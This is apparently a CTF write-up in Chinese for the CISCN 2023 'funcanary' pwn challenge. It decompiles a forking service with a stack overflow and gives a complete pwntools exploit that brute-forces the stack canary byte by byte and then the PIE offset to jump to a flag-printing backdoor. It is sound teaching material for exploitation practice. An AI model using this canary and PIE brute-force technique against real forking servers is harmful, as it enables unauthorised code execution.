主要是学习了 canary 和 PIE 的爆破。
题面
题目: [CISCN 2023 初赛]funcanary。
提供二进制文件。
分析
checksec 查看保护,全开。
1
2
3
4
5
6
7
8
9
|
❯ pwn checksec ./service
[*] '/data/project/ctf-repo/pwn/nssctf/CISCN_2023_初赛-funcanary/service'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
|
ida pro 静态分析:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
|
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
__pid_t v3; // [rsp+Ch] [rbp-4h]
sub_1243(a1, a2, a3);
while ( 1 )
{
v3 = fork();
if ( v3 < 0 )
break;
if ( v3 )
{
wait(0);
}
else
{
puts("welcome");
sub_128A();
puts("have fun");
}
}
puts("fork error");
exit(0);
}
|
main 函数用 fork 分出两个分支。
fork 返回值给了 v3。返回 0 表示当前进程是子进程,而返回正整数(子进程的 pid) 表示当前进程是父进程。
这里父进程做 wait(0),子进程运行 sub_128A 函数:
1
2
3
4
5
6
7
8
9
|
unsigned __int64 sub_128A()
{
_BYTE buf[104]; // [rsp+0h] [rbp-70h] BYREF
unsigned __int64 v2; // [rsp+68h] [rbp-8h]
v2 = __readfsqword(0x28u);
read(0, buf, 0x80u);
return v2 - __readfsqword(0x28u);
}
|
往 buf 写,溢出 0x10 字节。但同时,这个函数是有 canary 保护的。幸运的是 fork 出来的子进程的 canary 值和父进程一致,给予我们爆破的机会。
查看函数表,再进行交叉引用后发现了这样一个后门函数:
1
2
3
4
|
int sub_1229()
{
return system("/bin/cat flag");
}
|
利用
这道题显然要爆破,首先爆破 canary,接着爆破 PIE。这里 return address 一般来说就前 16 位有别。而前 12 位是偏移量。就 13 - 16 这一块不确定。我们要爆破这块。
1
2
3
4
5
6
7
8
9
10
11
12
|
canary = b"\x00"
io.recvuntil(b"welcome")
for i in range(7):
for i in range(256):
payload = b"a" * (0x70-0x8) + canary + bytes([i])
io.send(payload)
outPut = io.recvuntil(b"welcome\n")
if b"fun" in outPut:
canary += bytes([i])
print("canary =", str(canary))
break
|
这样检测字符串子串包含 fun 就进一位。内循环遍历一字节的 256 种可能性,外循环移位,因为 canary 除了最后字节用于截断字符串是 0x00 之外,7 字节是随机的。
在打通 canary 之后,爆破 PIE:
1
2
3
4
5
6
7
8
9
10
|
for i in range(16):
num = i << 12
payload = b'a' * (0x70 - 0x8) + canary + b'a' * 8 + p16(backdoor + num)
io.send(payload)
outPut = io.recv()
if b"NSSCTF" in outPut:
print(str(outPut))
break
io.interactive()
|
本地打的时候在该目录建一个 flag 文件来跑好些。
这样打完之后就能出 flag 了。
exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
|
from pwn import *
context(os="linux", arch="amd64", log_level="debug")
#io = process("./service")
io = remote("node5.anna.nssctf.cn", 27245)
backdoor = 0x231
canary = b"\x00"
io.recvuntil(b"welcome")
for i in range(7):
for i in range(256):
payload = b"a" * (0x70-0x8) + canary + bytes([i])
io.send(payload)
outPut = io.recvuntil(b"welcome\n")
if b"fun" in outPut:
canary += bytes([i])
print("canary =", str(canary))
break
for i in range(16):
num = i << 12
payload = b'a' * (0x70 - 0x8) + canary + b'a' * 8 + p16(backdoor + num)
io.send(payload)
outPut = io.recv()
if b"NSSCTF" in outPut:
print(str(outPut))
break
io.interactive()
|